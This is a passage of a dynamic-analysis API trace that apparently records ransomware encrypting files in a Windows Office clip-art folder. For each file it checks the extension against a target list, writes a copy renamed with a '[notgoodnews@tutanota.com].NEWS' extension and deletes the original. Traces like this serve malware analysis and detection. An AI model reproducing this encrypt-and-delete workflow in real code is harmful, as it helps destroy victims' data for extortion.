lpOverlapped=0x0) returned 1 [0165.324] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.324] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.325] SetEndOfFile (hFile=0x51c) returned 1 [0165.325] CloseHandle (hObject=0x51c) returned 1 [0165.325] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.325] SetEndOfFile (hFile=0x53c) returned 1 [0165.329] CloseHandle (hObject=0x53c) returned 1 [0165.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0165.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.330] lstrlenW (lpString=".doc") returned 4 [0165.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.330] lstrlenW (lpString=".docx") returned 5 [0165.330] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0165.330] lstrlenW (lpString=".pdf") returned 4 [0165.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString=".xls") returned 4 [0165.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.331] lstrlenW (lpString=".xlsx") returned 5 [0165.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0165.331] lstrlenW (lpString=".ppt") returned 4 [0165.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.331] lstrlenW (lpString=".zip") returned 4 [0165.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.331] lstrlenW (lpString=".rar") returned 4 [0165.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString=".bz2") returned 4 [0165.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString=".7z") returned 3 [0165.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.331] lstrlenW (lpString=".dbf") returned 4 [0165.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.331] lstrlenW (lpString=".1cd") returned 4 [0165.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.331] lstrlenW (lpString=".jpg") returned 4 [0165.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.331] lstrlenW (lpString=".doc") returned 4 [0165.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString=".docx") returned 5 [0165.331] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0165.331] lstrlenW (lpString=".pdf") returned 4 [0165.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.331] lstrlenW (lpString=".xls") returned 4 [0165.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.332] lstrlenW (lpString=".xlsx") returned 5 [0165.332] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0165.332] lstrlenW (lpString=".ppt") returned 4 [0165.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.332] lstrlenW (lpString=".zip") returned 4 [0165.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.332] lstrlenW (lpString=".rar") returned 4 [0165.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.332] lstrlenW (lpString=".bz2") returned 4 [0165.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.332] lstrlenW (lpString=".7z") returned 3 [0165.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.332] lstrlenW (lpString=".dbf") returned 4 [0165.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.332] lstrlenW (lpString=".1cd") returned 4 [0165.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0165.332] lstrlenW (lpString=".jpg") returned 4 [0165.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.332] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.332] lstrlenW (lpString="J0099158.WMF") returned 12 [0165.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0165.333] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=26160) returned 1 [0165.333] CloseHandle (hObject=0x53c) returned 1 [0165.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0165.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0165.334] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.334] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0165.336] GetLastError () returned 0x0 [0165.336] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x6630, lpOverlapped=0x0) returned 1 [0165.357] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6640, lpOverlapped=0x0) returned 1 [0165.359] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.359] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.359] SetEndOfFile (hFile=0x51c) returned 1 [0165.359] CloseHandle (hObject=0x51c) returned 1 [0165.359] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.359] SetEndOfFile (hFile=0x53c) returned 1 [0165.362] CloseHandle (hObject=0x53c) returned 1 [0165.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0165.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.363] lstrlenW (lpString=".doc") returned 4 [0165.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString=".docx") returned 5 [0165.364] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0165.364] lstrlenW (lpString=".pdf") returned 4 [0165.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString=".xls") returned 4 [0165.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.364] lstrlenW (lpString=".xlsx") returned 5 [0165.364] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0165.364] lstrlenW (lpString=".ppt") returned 4 [0165.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.364] lstrlenW (lpString=".zip") returned 4 [0165.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.364] lstrlenW (lpString=".rar") returned 4 [0165.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString=".bz2") returned 4 [0165.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString=".7z") returned 3 [0165.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.364] lstrlenW (lpString=".dbf") returned 4 [0165.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.364] lstrlenW (lpString=".1cd") returned 4 [0165.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.364] lstrlenW (lpString=".jpg") returned 4 [0165.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.364] lstrlenW (lpString=".doc") returned 4 [0165.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.364] lstrlenW (lpString=".docx") returned 5 [0165.364] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0165.364] lstrlenW (lpString=".pdf") returned 4 [0165.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.365] lstrlenW (lpString=".xls") returned 4 [0165.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.365] lstrlenW (lpString=".xlsx") returned 5 [0165.365] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0165.365] lstrlenW (lpString=".ppt") returned 4 [0165.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.365] lstrlenW (lpString=".zip") returned 4 [0165.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.365] lstrlenW (lpString=".rar") returned 4 [0165.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.365] lstrlenW (lpString=".bz2") returned 4 [0165.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.365] lstrlenW (lpString=".7z") returned 3 [0165.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.365] lstrlenW (lpString=".dbf") returned 4 [0165.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.365] lstrlenW (lpString=".1cd") returned 4 [0165.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0165.365] lstrlenW (lpString=".jpg") returned 4 [0165.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.365] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.365] lstrlenW (lpString="J0099159.WMF") returned 12 [0165.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0165.367] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=27546) returned 1 [0165.367] CloseHandle (hObject=0x53c) returned 1 [0165.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0165.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0165.367] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.368] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0165.368] GetLastError () returned 0x0 [0165.368] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0165.371] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0165.372] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.372] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.372] SetEndOfFile (hFile=0x51c) returned 1 [0165.373] CloseHandle (hObject=0x51c) returned 1 [0165.373] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.373] SetEndOfFile (hFile=0x53c) returned 1 [0165.377] CloseHandle (hObject=0x53c) returned 1 [0165.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0165.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.378] lstrlenW (lpString=".doc") returned 4 [0165.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.378] lstrlenW (lpString=".docx") returned 5 [0165.378] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0165.378] lstrlenW (lpString=".pdf") returned 4 [0165.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.378] lstrlenW (lpString=".xls") returned 4 [0165.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.378] lstrlenW (lpString=".xlsx") returned 5 [0165.378] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0165.378] lstrlenW (lpString=".ppt") returned 4 [0165.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.378] lstrlenW (lpString=".zip") returned 4 [0165.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.378] lstrlenW (lpString=".rar") returned 4 [0165.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.378] lstrlenW (lpString=".bz2") returned 4 [0165.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.378] lstrlenW (lpString=".7z") returned 3 [0165.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.378] lstrlenW (lpString=".dbf") returned 4 [0165.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.379] lstrlenW (lpString=".1cd") returned 4 [0165.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.379] lstrlenW (lpString=".jpg") returned 4 [0165.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.379] lstrlenW (lpString=".doc") returned 4 [0165.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString=".docx") returned 5 [0165.379] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0165.379] lstrlenW (lpString=".pdf") returned 4 [0165.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString=".xls") returned 4 [0165.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.379] lstrlenW (lpString=".xlsx") returned 5 [0165.379] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0165.379] lstrlenW (lpString=".ppt") returned 4 [0165.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.379] lstrlenW (lpString=".zip") returned 4 [0165.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.379] lstrlenW (lpString=".rar") returned 4 [0165.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString=".bz2") returned 4 [0165.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.379] lstrlenW (lpString=".7z") returned 3 [0165.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.380] lstrlenW (lpString=".dbf") returned 4 [0165.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.380] lstrlenW (lpString=".1cd") returned 4 [0165.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0165.380] lstrlenW (lpString=".jpg") returned 4 [0165.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.380] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.380] lstrlenW (lpString="J0099160.JPG") returned 12 [0165.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0165.381] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=15145) returned 1 [0165.381] CloseHandle (hObject=0x53c) returned 1 [0165.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0165.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0165.381] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.381] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0165.382] GetLastError () returned 0x0 [0165.382] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0165.978] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0166.289] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.289] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, 